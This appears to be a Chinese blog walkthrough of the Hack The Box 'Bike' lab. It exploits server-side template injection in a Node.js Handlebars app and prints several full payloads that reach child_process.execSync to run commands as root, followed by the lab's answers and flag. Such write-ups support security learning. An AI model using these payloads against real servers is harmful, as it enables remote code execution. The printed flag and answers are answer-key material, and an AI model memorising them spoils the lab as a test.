当前位置: 首页 > news >正文

HTB-bike(SSTI模版注入)

前言

  • 大家好,我是qmx_07,今天给大家讲解bike靶场
    在这里插入图片描述

渗透过程

信息搜集

在这里插入图片描述
在这里插入图片描述

  • 服务器开放了 22 ssh 和 http80端口

Wappalyzer

  • 介绍:Wappalyzer是一种浏览器扩展程序,用于识别正在访问的网站所使用的技术栈和工具,比如使用的web框架,编程语言等
    在这里插入图片描述
  • 服务器所使用Express框架

发现SSTI模版注入

在这里插入图片描述

  • 可以看到这个输入框,用来输出 内容
  • 尝试xss攻击失败
  • 介绍:book.hacktricks.xyz 是一个在线技术知识库,提供有关黑客技术、网络安全和渗透测试的信息和资源,学习网络安全渗透知识
  • 由于前面Wappalyzer 搜集到编程语言是Node.js进行尝试SSTI模版注入
    在这里插入图片描述
    在这里插入图片描述
  • 输入{{7*7}}正确的返回值是49
    在这里插入图片描述
  • 服务器显示报错,信息显示使用的handlebars模版
  • /root路径 可能拥有更高的权限

SSTI模版注入

在这里插入图片描述

  • 使用hacktricks里handlebars模版的注入poc
    在这里插入图片描述
  • 对poc进行url编码,防止出现其他问题
  • 显示require函数 无法被调用,可能做了一些安全限制,尝试绕过
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process;"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}

在这里插入图片描述

  • process没有被禁用,尝试获取主函数
  • 在Node.js中,process是一个全局对象,它提供了对当前运行的Node.js进程的访问和控制
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainMoudle;"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}

在这里插入图片描述

  • process.mainMoudle也可以调用,我们尝试间接调用require函数
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require('child_process');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}

在这里插入图片描述

  • child_process模块提供了创建子进程的功能,可以通过该模块执行外部的系统命令
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}

在这里插入图片描述

  • execSync用于 命令执行相关函数
  • 服务器返回了账号名root
    在这里插入图片描述
    在这里插入图片描述
  • flag:6b258d726d287462d60c103d0142a81c

知识点讲解

  • 介绍:SSTI(Server-Side Template Injection)是一种Web应用程序中的漏洞类型,攻击者通过在模板引擎中注入恶意代码来执行服务器端的任意代码
  • 模版引擎是一种用于渲染动态内容的工具,常用于网页开发中的模板系统
  • 危害:敏感数据泄露、服务器端命令执行、远程代码执行等

答案

  • 1.服务器开放了TCP哪些端口?

22,80

  • 2.http端口运行着哪个语言?

Node.js

  • 3.web框架名称是什么?

Express

  • 4.通过{{7*7}}这种形式验证的漏洞叫什么?

Server Side Template Injection

  • 5.Node.js使用的模版是什么?

Handlebars

  • 6.burp编码的选项卡叫什么?

Decoder

  • 7.为了使用有效载荷,我们需要使用什么编码?

url

  • 8.在使用什么函数时,服务器响应未定义?

require

  • 9.在Node.js中最高的变量叫什么?

golobal(也就是全局变量)

  • 10.使用载荷后,用户名叫什么?

root

  • 11.flag是什么?

6b258d726d287462d60c103d0142a81c

总结

  • 我们介绍了book.hacktricks.xyz 技术网站,以及ssti模版注入,相关函数的调用

http://www.mrgr.cn/news/19056.html

相关文章:

  • Loadrunner12录制时,目标网站打不开的解决办法
  • Phalcon 增删改查的搭建过程
  • Kotlin 流 Flow
  • 数据恢复工具,电脑+手机双端,十分好用!
  • 智能提醒助理系列-一阶段推广心得1
  • 文件包含PHP伪协议利用方法
  • 若依脚手架 创建一个系统 his医院信息管理系统
  • Opencv实现提取卡号(数字识别)
  • leetcode 2816.翻倍以链表形式表示的数字
  • 在Vue中使用Element UI的表格组件时,通过点击表格的某一行来获取该行数据的id
  • AUTOSAR_EXP_ARAComAPI的5章笔记(2)
  • 登录-异步请求用户数据无法保存-bug
  • 后端MVC三层架构,Mybatis ,雪花算法生成唯一id
  • 计算机毕业设计Spark+PyTorch知识图谱中药推荐系统 中药数据分析可视化大屏 中药爬虫 机器学习 中药预测系统 中药情感分析 大数据毕业设计
  • Hyper-v 安装 centOS
  • Python青少年简明教程:模块
  • 记一次某中学系统越权漏洞
  • 【深入了解Java常用类】
  • LeetCode:2708. 一个小组的最大实力值(动态规划 Java)
  • 算法day20|669. 修剪二叉搜索树、将有序数组转换为二叉搜索树、538.把二叉搜索树转换为累加树